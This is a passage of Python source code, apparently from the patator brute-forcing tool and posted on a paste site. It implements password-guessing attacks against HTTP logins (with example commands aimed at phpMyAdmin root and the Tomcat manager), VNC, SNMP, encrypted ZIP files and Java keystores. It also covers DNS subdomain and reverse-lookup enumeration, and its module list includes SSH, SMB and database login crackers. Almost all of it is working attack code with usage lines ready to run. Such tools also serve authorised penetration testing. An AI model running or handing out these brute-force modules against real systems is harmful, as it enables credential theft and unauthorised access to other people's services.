- i = self.response.rfind('HTTP/', 0, 5000)
- if i == -1:
- return ''
- else:
- j = self.response.find('\n', i)
- line = self.response[i:j]
- return line.strip()
- def match_clen(self, val):
- return match_size(self.content_length, val)
- def match_fgrep(self, val):
- return val in self.response
- def match_egrep(self, val):
- return re.search(val, self.response, re.M)
- available_conditions = Response_Base.available_conditions
- available_conditions += (
- ('clen', 'match Content-Length header (N or N-M or N- or -N)'),
- )
- class HTTP_fuzz(TCP_Cache):
- '''Fuzz HTTP/HTTPS'''
- usage_hints = [
- """%prog url=http://10.0.0.1/FILE0 0=paths.txt -x ignore:code=404 -x ignore,retry:code=500""",
- """%prog url=http://10.0.0.1/manager/html user_pass=COMBO00:COMBO01 0=combos.txt"""
- """ -x ignore:code=401""",
- """%prog url=http://10.0.0.1/phpmyadmin/index.php method=POST"""
- """ body='pma_username=root&pma_password=FILE0&server=1&lang=en' 0=passwords.txt follow=1"""
- """ accept_cookie=1 -x ignore:fgrep='Cannot log in to the MySQL server'""",
- ]
- available_options = (
- ('url', 'main url to target (scheme://host[:port]/path?query)'),
- #('host', 'hostnames or subnets to target'),
- #('port', 'ports to target'),
- #('scheme', 'scheme [http | https]'),
- #('path', 'web path [/]'),
- #('query', 'query string'),
- ('body', 'body data'),
- ('header', 'use custom headers, delimited with "\\r\\n"'),
- ('method', 'method to use [GET | POST | HEAD | ...]'),
- ('user_pass', 'username and password for HTTP authentication (user:pass)'),
- ('auth_type', 'type of HTTP authentication [basic | digest | ntlm]'),
- ('follow', 'follow any Location redirect [0|1]'),
- ('max_follow', 'redirection limit [5]'),
- ('accept_cookie', 'save received cookies to issue them in future requests [0|1]'),
- ('http_proxy', 'HTTP proxy to use (host:port)'),
- ('ssl_cert', 'client SSL certificate file (cert+key in PEM format)'),
- ('timeout_tcp', 'seconds to wait for a TCP handshake [10]'),
- ('timeout', 'seconds to wait for a HTTP response [20]'),
- ('before_urls', 'comma-separated URLs to query before main url'),
- ('after_urls', 'comma-separated URLs to query after main url'),
- ('max_mem', 'store no more than N bytes of request+response data in memory [-1 (unlimited)]'),
- )
- available_options += TCP_Cache.available_options
- Response = Response_HTTP
- cache_keys = ('host', 'port', 'scheme')
- def new_tcp(self, host, port, scheme):
- fp = pycurl.Curl()
- fp.setopt(pycurl.SSL_VERIFYPEER, 0)
- fp.setopt(pycurl.SSL_VERIFYHOST, 0)
- fp.setopt(pycurl.HEADER, 1)
- fp.setopt(pycurl.USERAGENT, 'Mozilla/5.0')
- fp.setopt(pycurl.NOSIGNAL, 1)
- return fp, None
- def execute(self, url=None, host=None, port=None, scheme='http', path='/', params='', query='', fragment='', body='', header='', method='GET', user_pass='', auth_type='basic',
- follow='0', max_follow='5', accept_cookie='0', http_proxy='', ssl_cert='', timeout_tcp='10', timeout='20', persistent='1',
- before_urls='', after_urls='', max_mem='-1'):
- if url:
- scheme, host, path, params, query, fragment = urlparse(url)
- if ':' in host:
- host, port = host.split(':')
- del url
- fp, _ = self.get_tcp(persistent, host=host, port=port, scheme=scheme)
- fp.setopt(pycurl.FOLLOWLOCATION, int(follow))
- fp.setopt(pycurl.MAXREDIRS, int(max_follow))
- fp.setopt(pycurl.CONNECTTIMEOUT, int(timeout_tcp))
- fp.setopt(pycurl.TIMEOUT, int(timeout))
- fp.setopt(pycurl.PROXY, http_proxy)
- def noop(buf): pass
- fp.setopt(pycurl.WRITEFUNCTION, noop)
- def debug_func(t, s):
- if max_mem > 0 and trace.tell() > max_mem:
- return 0
- if t in (pycurl.INFOTYPE_HEADER_OUT, pycurl.INFOTYPE_DATA_OUT):
- trace.write(s)
- elif t in (pycurl.INFOTYPE_HEADER_IN, pycurl.INFOTYPE_DATA_IN):
- trace.write(s)
- response.write(s)
- max_mem = int(max_mem)
- response, trace = StringIO(), StringIO()
- fp.setopt(pycurl.DEBUGFUNCTION, debug_func)
- fp.setopt(pycurl.VERBOSE, 1)
- if user_pass:
- fp.setopt(pycurl.USERPWD, user_pass)
- if auth_type == 'basic':
- fp.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC)
- elif auth_type == 'digest':
- fp.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST)
- elif auth_type == 'ntlm':
- fp.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_NTLM)
- else:
- raise NotImplementedError("Incorrect auth_type '%s'" % auth_type)
- if ssl_cert:
- fp.setopt(pycurl.SSLCERT, ssl_cert)
- headers = [h.strip('\r') for h in header.split('\n') if h]
- fp.setopt(pycurl.HTTPHEADER, headers) # warning: this disables the use of "Expect: 100-continue" header
- if accept_cookie == '1':
- fp.setopt(pycurl.COOKIEFILE, '')
- # warning: do not pass a Cookie: header into HTTPHEADER if using COOKIEFILE as it will
- # produce requests with more than one Cookie: header
- # and the server will process only one of them (eg. Apache only reads the last one)
- #if rrange: # commented out because the user may instead pass header='Range: -1024'
- # fp.setopt(pycurl.RANGE, rrange)
- def setup_fp(fp, method, url):
- if method == 'GET':
- fp.setopt(pycurl.HTTPGET, 1)
- elif method == 'POST':
- fp.setopt(pycurl.POST, 1)
- fp.setopt(pycurl.POSTFIELDS, body)
- elif method == 'HEAD':
- fp.setopt(pycurl.NOBODY, 1)
- else:
- fp.setopt(pycurl.CUSTOMREQUEST, method)
- #logger.debug('url: %s' % url)
- fp.setopt(pycurl.URL, url)
- if before_urls:
- for before_url in before_urls.split(','):
- setup_fp(fp, 'GET', before_url)
- fp.perform()
- path = quote(path)
- query = urlencode(parse_qsl(query, True))
- body = urlencode(parse_qsl(body, True))
- if port:
- host = '%s:%s' % (host, port)
- url = urlunparse((scheme, host, path, params, query, fragment))
- setup_fp(fp, method, url)
- fp.perform()
- if after_urls:
- for after_url in after_urls.split(','):
- setup_fp(fp, 'GET', after_url)
- fp.perform()
- http_code = fp.getinfo(pycurl.HTTP_CODE)
- content_length = fp.getinfo(pycurl.CONTENT_LENGTH_DOWNLOAD)
- return self.Response(http_code, content_length, response.getvalue(), trace.getvalue())
- # }}}
- # VNC {{{
- try:
- from Crypto.Cipher import DES
- except ImportError:
- warnings.append('pycrypto')
- class VNC_Error(Exception): pass
- class VNC:
- def connect(self, host, port):
- self.fp = socket.create_connection((host, port))
- resp = self.fp.recv(1024) # banner
- self.version = resp[:11]
- if len(resp) > 12:
- raise VNC_Error, self.version + ' ' + resp[20:]
- return self.version
- def login(self, password):
- logger.debug("Remote version: %s" % self.version)
- major, minor = self.version[6], self.version[10]
- if major == '3' and minor == '8':
- proto = 'RFB 003.008\n'
- elif major == '3' and minor == '7':
- proto = 'RFB 003.007\n'
- else:
- proto = 'RFB 003.003\n'
- logger.debug('Client version: %s' % proto[:-1])
- self.fp.sendall(proto)
- if minor in ('7', '8'):
- # send security type
- resp = self.fp.recv(1024)
- logger.debug("Security types supported: %s" % repr(resp))
- self.fp.sendall('\x02') # always use classic VNC authentication
- # read server challenge
- resp = self.fp.recv(1024)
- logger.debug('Remote challenge: %s' % repr(resp))
- if minor == '3':
- if len(resp) < 4:
- raise VNC_Error, 'Unexpected response size (%d > 4): %s' % (len(resp), repr(resp))
- code = ord(resp[3])
- if code == 0:
- raise VNC_Error, 'Session setup failed: %s' % repr(resp)
- elif code == 1:
- raise VNC_Error, 'No authentication required: %s' % repr(resp)
- elif code == 2:
- if len(resp) != 20:
- raise VNC_Error, 'Unexpected challenge size (unsupported authentication type ?): %s' % repr(resp)
- resp = resp[4:20]
- else:
- raise VNC_Error, 'Session setup unknown response'
- pw = (password + '\0' * 8)[:8] # make sure it is 8 chars long, zero padded
- key = self.gen_key(pw)
- logger.debug('key: %s' % repr(key))
- des = DES.new(key, DES.MODE_ECB)
- enc = des.encrypt(resp)
- logger.debug('enc: %s' % repr(enc))
- self.fp.sendall(enc)
- resp = self.fp.recv(1024)
- logger.debug('resp: %s' % repr(resp))
- code = ord(resp[3])
- mesg = resp[8:]
- if code == 1:
- return code, mesg or 'Authentication failure'
- elif code == 0:
- return mesg or 'OK'
- else:
- raise VNC_Error, 'Unknown response: %s (code: %s)' % (repr(resp), code)
- def gen_key(self, key):
- newkey = []
- for ki in range(len(key)):
- bsrc = ord(key[ki])
- btgt = 0
- for i in range(8):
- if bsrc & (1 << i):
- btgt = btgt | (1 << 7-i)
- newkey.append(chr(btgt))
- return ''.join(newkey)
- class VNC_login:
- '''Brute-force VNC authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 password=FILE0 0=passwords.txt -x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [5900]'),
- ('password', 'passwords to test'),
- )
- available_actions = ()
- Response = Response_Base
- def __init__(self):
- self.m = VNC()
- def execute(self, host, port=None, password=None):
- try:
- code, mesg = '0', self.m.connect(host, int(port or 5900))
- if password is not None:
- code, mesg = self.m.login(password)
- except VNC_Error as (e,):
- logger.debug('VNC_Error: %s' % e)
- code, mesg = '2', e
- return self.Response(code, mesg)
- # }}}
- # DNS {{{
- class HostInfo:
- def __init__(self):
- self.name = set()
- self.ip = set()
- self.alias = set()
- def __str__(self):
- line = ''
- if self.name:
- line = ' '.join(self.name)
- if self.ip:
- if line: line += ' / '
- line += ' '.join(map(str, self.ip))
- if self.alias:
- if line: line += ' / '
- line += ' '.join(self.alias)
- return line
- class Controller_DNS(Controller):
- hostmap = {}
- # show_final {{{
- def show_final(self):
- '''
- 1.2.3.4 ftp.example.com
- . www.example.com
- . www2.example.com
- noip cms.example.com -> www.mistake.com
- '''
- ipmap = {}
- noips = set()
- '''
- hostmap = {
- 'ftp.example.com': {'ip': ['1.2.3.4'], 'alias': []},
- 'www.example.com': {'ip': ['1.2.3.4'], 'alias': ['www2.example.com']},
- 'www.mistake.com': {'ip': [], 'alias': ['cms.example.com']}, ...}
- ipmap = {'1.2.3.4': {'name': ['www.example.com', 'ftp.example.com'], 'alias': ('www2.example.com')}}
- noips = ['cms.example.com -> www.mistake.com', ...]
- '''
- for name, hinfo in self.hostmap.iteritems():
- logger.debug('%s -> %s' % (name, hinfo))
- if not hinfo.ip: # orphan CNAME hostnames (with no IP address) may be still valid virtual hosts
- for alias in hinfo.alias:
- noips.add('%s -> %s' % (alias, name))
- else:
- for ip in hinfo.ip:
- if ip not in ipmap: ipmap[ip] = HostInfo()
- ipmap[ip].name.add(name)
- ipmap[ip].alias.update(hinfo.alias)
- # pretty print
- def pprint_info(key, infos):
- first = True
- for info in infos:
- if first:
- print('%34s %s' % (info, key))
- first = False
- else:
- print('%34s %s' % (info, key))
- print('Hostmap ' + '-'*42)
- for ip, hinfo in sorted(ipmap.iteritems()):
- pprint_info( ip, hinfo.name)
- pprint_info('.', hinfo.alias)
- pprint_info('noip', noips)
- print('Domains ' + '-'*42)
- domains = {}
- networks = {}
- for ip, hinfo in ipmap.iteritems():
- for name in hinfo.name:
- i = 1 if name.count('.') > 1 else 0
- d = '.'.join(name.split('.')[i:])
- if d not in domains: domains[d] = 0
- domains[d] += 1
- for domain, count in sorted(domains.iteritems(), key=lambda a:a[0].split('.')[-1::-1]):
- print('%34s %d' % (domain, count))
- print('Networks ' + '-'*41)
- nets = {}
- for ip in set(ipmap):
- if not ip.version() == 4:
- nets[ip] = [ip]
- else:
- n = ip.make_net('255.255.255.0')
- if n not in nets: nets[n] = []
- nets[n].append(ip)
- for net, ips in sorted(nets.iteritems()):
- if len(ips) == 1:
- print(' '*10 + '%39s' % ips[0])
- else:
- print(' '*10 + '%37s.x' % '.'.join(str(net).split('.')[:-1]))
- # }}}
- def push_final(self, resp):
- for name, hinfo in resp.hostmap.iteritems():
- if name not in self.hostmap:
- self.hostmap[name] = hinfo
- else:
- self.hostmap[name].ip.update(hinfo.ip)
- self.hostmap[name].alias.update(hinfo.alias)
- def generate_tld():
- gtld = [
- 'aero', 'arpa', 'asia', 'biz', 'cat', 'com', 'coop', 'edu',
- 'gov', 'info', 'int', 'jobs', 'mil', 'mobi', 'museum', 'name',
- 'net', 'org', 'pro', 'tel', 'travel']
- cctld = [''.join(i) for i in product(*[ascii_lowercase]*2)]
- tld = gtld + cctld
- return tld, len(tld)
- def generate_srv():
- common = [
- '_gc._tcp', '_kerberos._tcp', '_kerberos._udp', '_ldap._tcp',
- '_test._tcp', '_sips._tcp', '_sip._udp', '_sip._tcp', '_aix._tcp', '_aix._udp',
- '_finger._tcp', '_ftp._tcp', '_http._tcp', '_nntp._tcp', '_telnet._tcp',
- '_whois._tcp', '_h323cs._tcp', '_h323cs._udp', '_h323be._tcp', '_h323be._udp',
- '_h323ls._tcp', '_h323ls._udp', '_sipinternal._tcp', '_sipinternaltls._tcp',
- '_sip._tls', '_sipfederationtls._tcp', '_jabber._tcp', '_xmpp-server._tcp', '_xmpp-client._tcp',
- '_imap.tcp', '_certificates._tcp', '_crls._tcp', '_pgpkeys._tcp', '_pgprevokations._tcp',
- '_cmp._tcp', '_svcp._tcp', '_crl._tcp', '_ocsp._tcp', '_PKIXREP._tcp',
- '_smtp._tcp', '_hkp._tcp', '_hkps._tcp', '_jabber._udp', '_xmpp-server._udp',
- '_xmpp-client._udp', '_jabber-client._tcp', '_jabber-client._udp',
- '_adsp._domainkey', '_policy._domainkey', '_domainkey', '_ldap._tcp.dc._msdcs', '_ldap._udp.dc._msdcs']
- def distro():
- import os
- import re
- files = ['/usr/share/nmap/nmap-protocols', '/usr/share/nmap/nmap-services', '/etc/protocols', '/etc/services']
- ret = []
- for f in files:
- if not os.path.isfile(f):
- logger.warn("File '%s' is missing, there will be less records to test" % f)
- continue
- for line in open(f):
- match = re.match(r'([a-zA-Z0-9]+)\s', line)
- if not match: continue
- for w in re.split(r'[^a-z0-9]', match.group(1).strip().lower()):
- ret.extend(['_%s.%s' % (w, i) for i in ('_tcp', '_udp')])
- return ret
- srv = set(common + distro())
- return srv, len(srv)
- try:
- from DNS import DnsRequest, DNSError
- except ImportError:
- warnings.append('pydns')
- class DNS_reverse:
- '''Reverse lookup subnets'''
- usage_hints = [
- """%prog host=NET0 0=192.168.0.0/24 -x ignore:code=3""",
- """%prog host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-""",
- ]
- available_options = (
- ('host', 'IP addresses to reverse'),
- ('server', 'name server to query (directly asking a zone authoritative NS may return more results) [8.8.8.8]'),
- ('timeout', 'seconds to wait for a DNS response [10]'),
- )
- available_actions = ()
- Response = Response_Base
- def execute(self, host, server='8.8.8.8', timeout='10'):
- resolver = DnsRequest(qtype='PTR', server=server, timeout=int(timeout))
- ip = IP(host)
- ptr = ip.reverseName()
- result = resolver.req(ptr.rstrip('.'))
- hostnames = [ans['data'] for ans in result.answers]
- hostmap = {}
- for n in hostnames:
- if n not in hostmap: hostmap[n] = HostInfo()
- hostmap[n].ip.add(ip)
- code = result.header['rcode']
- status = result.header['status']
- mesg = '%s %s' % (status, ', '.join(hostnames))
- resp = self.Response(code, mesg)
- resp.hostmap = hostmap
- return resp
- class DNS_forward:
- '''Forward lookup subdomains'''
- usage_hints = [
- """%prog domain=FILE0.google.com 0=names.txt -x ignore:code=3""",
- """%prog domain=google.MOD0 0=TLD -x ignore:code=3""",
- """%prog domain=MOD0.microsoft.com 0=SRV qtype=SRV -x ignore:code=3""",
- ]
- available_options = (
- ('domain', 'domains to lookup'),
- ('server', 'name server to query (directly asking the zone authoritative NS may return more results) [8.8.8.8]'),
- ('timeout', 'seconds to wait for a DNS response [10]'),
- ('qtype', 'comma-separated list of types to query [ANY,A,AAAA]'),
- )
- available_actions = ()
- available_keys = {
- 'TLD': generate_tld,
- 'SRV': generate_srv,
- }
- Response = Response_Base
- def execute(self, domain, server='8.8.8.8', timeout='10', qtype='ANY,A,AAAA'):
- resolver = DnsRequest(server=server, timeout=int(timeout))
- hostmap = {}
- for qt in qtype.split(','):
- result = resolver.req(domain, qtype=qt.strip())
- for r in result.answers + result.additional + result.authority:
- t = r['typename']
- n = r['name']
- d = r['data']
- if t not in ('A', 'AAAA', 'CNAME', 'DNAME', 'SRV'):
- continue
- if t == 'SRV':
- _, _, _, d = d
- if t in ('CNAME', 'DNAME', 'SRV'):
- n, d = d, n
- if n not in hostmap:
- hostmap[n] = HostInfo()
- if t == 'A':
- hostmap[n].ip.add(IP(d))
- elif t == 'AAAA':
- hostmap[n].ip.add(IP(hexlify(d)))
- elif t in ('CNAME', 'DNAME'):
- hostmap[n].alias.add(d)
- elif t == 'SRV':
- hostmap[n].alias.add(d)
- code = result.header['rcode']
- status = result.header['status']
- mesg = '%s %s' % (status, ' | '.join('%s / %s' % (k, v) for k, v in hostmap.iteritems()))
- resp = self.Response(code, mesg)
- resp.hostmap = hostmap
- return resp
- # }}}
- # SNMP {{{
- try:
- from pysnmp.entity.rfc3413.oneliner import cmdgen
- except ImportError:
- warnings.append('pysnmp')
- class SNMP_login:
- '''Brute-force SNMP v1/2/3 authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 version=2 community=FILE0 1=names.txt -x ignore:mesg='No SNMP response received before timeout'""",
- """%prog host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName""",
- """%prog host=10.0.0.1 version=3 user=myuser auth_key=FILE0 0=passwords.txt -x ignore:mesg=wrongDigest""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [161]'),
- ('version', 'SNMP version to use [2|3|1]'),
- #('security_name', 'SNMP v1/v2 username, for most purposes it can be any arbitrary string [test-agent]'),
- ('community', 'SNMPv1/2c community names to test [public]'),
- ('user', 'SNMPv3 usernames to test [myuser]'),
- ('auth_key', 'SNMPv3 pass-phrases to test [my_password]'),
- #('priv_key', 'SNMP v3 secret key for encryption'), # see http://pysnmp.sourceforge.net/docs/4.x/index.html#UsmUserData
- #('auth_protocol', ''),
- #('priv_protocol', ''),
- ('timeout', 'seconds to wait for a response [1]'),
- ('retries', 'number of successive request retries [2]'),
- )
- available_actions = ()
- Response = Response_Base
- def execute(self, host, port=None, version='2', community='public', user='myuser', auth_key='my_password', timeout='1', retries='2'):
- if version in ('1', '2'):
- security_model = cmdgen.CommunityData('test-agent', community, 0 if version == '1' else 1)
- elif version == '3':
- security_model = cmdgen.UsmUserData(user, auth_key) # , priv_key)
- if len(auth_key) < 8:
- return self.Response('1', 'SNMPv3 requires passphrases to be at least 8 characters long')
- else:
- raise NotImplementedError("Incorrect SNMP version '%s'" % version)
- errorIndication, errorStatus, errorIndex, varBinds = cmdgen.CommandGenerator().getCmd(
- security_model,
- cmdgen.UdpTransportTarget((host, int(port or 161)), timeout=int(timeout), retries=int(retries)),
- (1,3,6,1,2,1,1,1,0)
- )
- code = '%d-%d' % (errorStatus, errorIndex)
- if not errorIndication:
- mesg = '%s' % varBinds
- else:
- mesg = '%s' % errorIndication
- return self.Response(code, mesg)
- # }}}
- # Unzip {{{
- if not which('unzip'):
- warnings.append('unzip')
- class Response_Unzip(Response_Base):
- def __init__(self, resp):
- self.code, self.out, self.err = resp
- self.size = len(self.out + self.err)
- if '\n' in self.out:
- self.mesg = self.out.splitlines()[-1]
- else:
- self.mesg = self.out
- def __str__(self):
- return '%s [%s] %s' % (self.code, self.size, self.mesg)
- def dump(self):
- return 'out: %s\n\nerr: %s' % (self.out, self.err)
- class Unzip_pass:
- '''Brute-force the password of encrypted ZIP files'''
- usage_hints = [
- """%prog zipfile=path/to/file.zip password=FILE0 0=passwords.txt -x ignore:code!=0""",
- ]
- available_options = (
- ('zipfile', 'ZIP files to test'),
- ('password', 'passwords to test'),
- )
- available_actions = ()
- Response = Response_Unzip
- def execute(self, zipfile, password):
- zipfile = os.path.abspath(zipfile)
- cmd = ['unzip', '-t', '-q', '-P', password, zipfile]
- p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- out = p.stdout.read()
- err = p.stderr.read()
- code = p.wait()
- return self.Response((code, out, err))
- # }}}
- # Keystore {{{
- if not which('keytool'):
- warnings.append('java')
- class Response_Keystore(Response_Base):
- def __init__(self, resp):
- self.code, self.out, self.err = resp
- self.size = len(self.out + self.err)
- self.mesg = self.out.replace('\n', ' ')
- def __str__(self):
- return '%s [%s] %s' % (self.code, self.size, self.mesg)
- def dump(self):
- return 'out: %s\nerr: %s' % (self.out, self.err)
- class Keystore_pass:
- '''Brute-force the password of Java keystore files'''
- usage_hints = [
- """%prog keystore=path/to/keystore.jks password=FILE0 0=passwords.txt -x ignore:fgrep='password was incorrect'""",
- ]
- available_options = (
- ('keystore', 'keystore files to test'),
- ('password', 'passwords to test'),
- ('storetype', 'type of keystore to test'),
- )
- available_actions = ()
- Response = Response_Keystore
- def execute(self, keystore, password, storetype='jks'):
- keystore = os.path.abspath(keystore)
- cmd = ['keytool', '-list', '-keystore', keystore, '-storepass', password, '-storetype', storetype]
- p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- out = p.stdout.read()
- err = p.stderr.read()
- code = p.wait()
- return self.Response((code, out, err))
- # }}}
- # modules {{{
- modules = (
- 'ftp_login', (Controller, FTP_login),
- 'ssh_login', (Controller, SSH_login),
- 'telnet_login', (Controller, Telnet_login),
- 'smtp_login', (Controller, SMTP_login),
- 'smtp_vrfy', (Controller, SMTP_vrfy),
- 'smtp_rcpt', (Controller, SMTP_rcpt),
- 'http_fuzz', (Controller_HTTP, HTTP_fuzz),
- 'pop_passd', (Controller, POP_passd),
- 'smb_login', (Controller, SMB_login),
- 'ldap_login', (Controller, LDAP_login),
- 'mssql_login', (Controller, MSSQL_login),
- 'oracle_login', (Controller, Oracle_login),
- 'mysql_login', (Controller, MySQL_login),
- #'rdp_login', '',
- 'pgsql_login', (Controller, Pgsql_login),
- 'vnc_login', (Controller, VNC_login),
- 'dns_reverse', (Controller_DNS, DNS_reverse),
- 'dns_forward', (Controller_DNS, DNS_forward),
- 'snmp_login', (Controller, SNMP_login),
- 'unzip_pass', (Controller, Unzip_pass),
- 'keystore_pass', (Controller, Keystore_pass),
- )
- module_deps = {
- 'paramiko': [('ssh_login',), 'http://www.lag.net/paramiko/'],
- 'pycurl': [('http_fuzz',), 'http://pycurl.sourceforge.net/'],
- 'openldap': [('ldap_login',), 'http://www.openldap.org/'],
- 'impacket': [('smb_login',), 'http://oss.coresecurity.com/projects/impacket.html'],
- 'cx_Oracle': [('oracle_login',), 'http://cx-oracle.sourceforge.net/'],
- 'mysql-python': [('mysql_login',), 'http://sourceforge.net/projects/mysql-python/'],
- 'psycopg': [('pgsql_login',), 'http://initd.org/psycopg/'],
- 'pycrypto': [('vnc_login',), 'http://www.dlitz.net/software/pycrypto/'],
- 'pydns': [('dns_reverse', 'dns_forward'), 'http://pydns.sourceforge.net/'],
- 'pysnmp': [('snmp_login',), 'http://pysnmp.sf.net/'],
- 'unzip': [('unzip_pass',), 'http://www.info-zip.org/'],
- 'java': [('keystore_pass',), 'http://www.oracle.com/technetwork/java/javase/'],
- }
- # }}}
- # main {{{
- if __name__ == '__main__':
- from sys import argv
- from os.path import basename
- def show_usage():
- print('''Usage:
- $ ./patator.py module --help
- or
- $ ln -s patator.py module
- $ ./module --help
- Available modules:
- %s''' % '\n'.join(' + %-13s : %s' % (k, v[1].__doc__) for k, v in modules))
- exit(2)
- # module name
- modules = zip(modules[0::2], modules[1::2])
- available = dict((k, v) for k, v in modules)
- name = basename(argv[0]).lower()
- if name not in available:
- if len(argv) == 1:
- show_usage()
- name = basename(argv[1]).lower()
- if name not in available:
- show_usage()
- argv = argv[1:]
- # dependencies
- abort = False
- for w in warnings:
- mods, url = module_deps[w]
- if name in mods:
- print('ERROR: %s (%s) is required to run %s.' % (w, url, name))
- abort = True
- if abort:
- print('Please read the README inside for more information.')
- exit(3)
- # start
- ctrl, module = available[name]
- powder = ctrl(module, [name] + argv[1:])
- powder.fire()
- # }}}
- # vim: ts=2 sw=2 sts=2 et fdm=marker
Add Comment
Please, Sign In to add comment